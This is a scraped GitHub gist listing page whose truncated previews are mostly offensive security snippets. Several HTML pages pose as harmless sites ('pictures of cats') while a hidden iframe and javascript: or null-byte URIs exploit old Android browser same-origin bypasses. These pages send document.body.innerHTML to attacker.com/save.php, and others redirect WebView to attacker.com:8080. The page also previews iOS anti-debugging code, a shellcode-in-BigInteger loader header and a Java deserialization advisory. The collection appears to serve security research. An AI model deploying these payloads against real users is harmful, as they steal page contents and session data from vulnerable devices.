Skip to content

Instantly share code, notes, and snippets.

View yehgdotnet's full-sized avatar

Aung Khant yehgdotnet

91 followers · 204 following
View GitHub Profile
@yehgdotnet
yehgdotnet / catchredir.m
Created October 15, 2017 16:59 — forked from joswr1ght/catchredir.m
Demonstration code to detect runtime method swizzling with Cydia Substrate/Cycript.
// Compile with:
// clang catchredir.m -o catchredir -arch armv7 -isysroot /Applications/Xcode.app/Contents/Developer/Platforms/iPhoneOS.platform/Developer/SDKs/iPhoneOS.sdk/ -miphoneos-version-min=7 -framework Foundation
#import <Foundation/Foundation.h>
#import <stdio.h>
#import <objc/runtime.h>
@interface UrlConnection : NSObject
@property (strong) NSString *url;
- (void)connect;
@end
@yehgdotnet
yehgdotnet / iosdebugdetect.cpp
Created February 28, 2018 13:22 — forked from joswr1ght/iosdebugdetect.cpp
Sample code to use ptrace() through dlsym on iOS to terminate when a debugger is attached. NOT FOOLPROOF, but it bypasses Rasticrac decryption.
// Build on OS X with:
// clang debugdetect.cpp -o debugdetect -arch armv7 -isysroot /Applications/Xcode.app/Contents/Developer/Platforms/iPhoneOS.platform/Developer/SDKs/iPhoneOS.sdk/ -miphoneos-version-min=7
#import <dlfcn.h>
#import <sys/types.h>
#import <stdio.h>
typedef int (*ptrace_ptr_t)(int _request, pid_t _pid, caddr_t _addr, int _data);
void disable_dbg() {
ptrace_ptr_t ptrace_ptr = (ptrace_ptr_t)dlsym(RTLD_SELF, "ptrace");
ptrace_ptr(31, 0, 0, 0); // PTRACE_DENY_ATTACH = 31
}
@yehgdotnet
yehgdotnet / MetasploitSOPBypass.html
Created February 28, 2018 13:26 — forked from joswr1ght/MetasploitSOPBypass.html
<html><head><script src="Spec.js/lib/Spec.js"></script></head>
<body>
This is a normal website. Look at these pictures of cats...
<script>
var spec = new Spec();
if (spec.isDeviceDetected() && spec.getOS() == "Android"
&& spec.getBrowser != "Chrome"
&& parseFloat(spec.getOSVersion()) < 4.4) {
var iframe = document.createElement('iframe');
iframe.style.display="none";
@yehgdotnet
yehgdotnet / AndroidSOPBypass.html
Created February 28, 2018 13:28 — forked from joswr1ght/AndroidSOPBypass.html
<html><head></head>
<body>
This is just a normal website...
<iframe id="if" name="test" height="0" width="0" src="http://www.salesforce.com"></iframe>
<script>
document.getElementById("if").style.visibility="hidden";
window.open("\u0000javascript:
var i=new Image();
i.src='http://attacker.com/save.php?'+document.body.innerHTML;
document.body.appendChild(i);
@yehgdotnet
yehgdotnet / AndroidSOPTest.html
Created February 28, 2018 13:28 — forked from joswr1ght/AndroidSOPTest.html
<html><head></head>
<body>
This is just a normal website...
<iframe id="if" name="test" height="0" width="0" src="http://www.salesforce.com"></iframe>
<script>
document.getElementById("if").style.visibility="hidden";
window.open("javascript:
var i=new Image();
i.src='http://attacker.com/save.php?'+document.body.innerHTML;
document.body.appendChild(i);
@yehgdotnet
yehgdotnet / AndroidWebViewRedirect.html
Created February 28, 2018 13:31 — forked from joswr1ght/AndroidWebViewRedirect.html
<html><head><script src="Spec.js/lib/Spec.js"></script></head>
<body>
<script>
var spec = new Spec();
if (spec.isDeviceDetected() && spec.getOS() == "Android" &&
parseFloat(spec.getOSVersion()) < 4.2) {
var iframe = document.createElement('iframe');
iframe.style.display="none";
iframe.src = "http://attacker.com:8080";
document.body.appendChild(iframe);
@yehgdotnet
yehgdotnet / Numerics.cs
Created March 2, 2018 09:04
Shellcode Stuffed Into A System.Numerics.BigInteger - Cause You Know Why Not ;-)
using System;
using System.Diagnostics;
using System.Reflection;
using System.Configuration.Install;
using System.Runtime.InteropServices;
/*
Author: Casey Smith, Twitter: @subTee
@yehgdotnet
yehgdotnet / JAVA-ADVISORY.md
Created March 7, 2018 03:34 — forked from frohoff/JAVA-ADVISORY.md
Java 7u21 Security Advisory

Security Advisory – Java SE

Chris Frohoff – Qualcomm Information Security and Risk Management

Introduction

  • Affected Product(s): Java SE 6, Java SE 7
  • Fixed in: Java SE 7u25 (2013-06-18), Java SE 8 (2014-03-18)
  • Vendor Contact: secalert_us@oracle.com
  • Vulnerability Type: Unsafe Object Deserialization
@yehgdotnet
yehgdotnet / JAVA-ADVISORY.md
Created March 7, 2018 03:34 — forked from frohoff/JAVA-ADVISORY.md
Java 7u21 Security Advisory

Security Advisory – Java SE

Chris Frohoff – Qualcomm Information Security and Risk Management

Introduction

  • Affected Product(s): Java SE 6, Java SE 7
  • Fixed in: Java SE 7u25 (2013-06-18), Java SE 8 (2014-03-18)
  • Vendor Contact: secalert_us@oracle.com
  • Vulnerability Type: Unsafe Object Deserialization
@yehgdotnet
yehgdotnet / macosx_remove_java9.sh
Last active March 11, 2018 08:51 — forked from schnell18/macosx_remove_java9.sh
[Android-SDK | Java9 incompatibility fix - MacOS X] remove Java 9 and install Java 8
$ avdmanager
Exception in thread "main" java.lang.NoClassDefFoundError: javax/xml/bind/annotation/XmlSchema
at com.android.repository.api.SchemaModule$SchemaModuleVersion.<init>(SchemaModule.java:156)
at com.android.repository.api.SchemaModule.<init>(SchemaModule.java:75)
at com.android.sdklib.repository.AndroidSdkHandler.<clinit>(AndroidSdkHandler.java:81)
at com.android.sdklib.tool.AvdManagerCli.run(AvdManagerCli.java:213)
at com.android.sdklib.tool.AvdManagerCli.main(AvdManagerCli.java:200)
Caused by: java.lang.ClassNotFoundException: javax.xml.bind.annotation.XmlSchema
at java.base/jdk.internal.loader.BuiltinClassLoader.loadClass(BuiltinClassLoader.java:582)
at java.base/jdk.internal.loader.ClassLoaders$AppClassLoader.loadClass(ClassLoaders.java:185)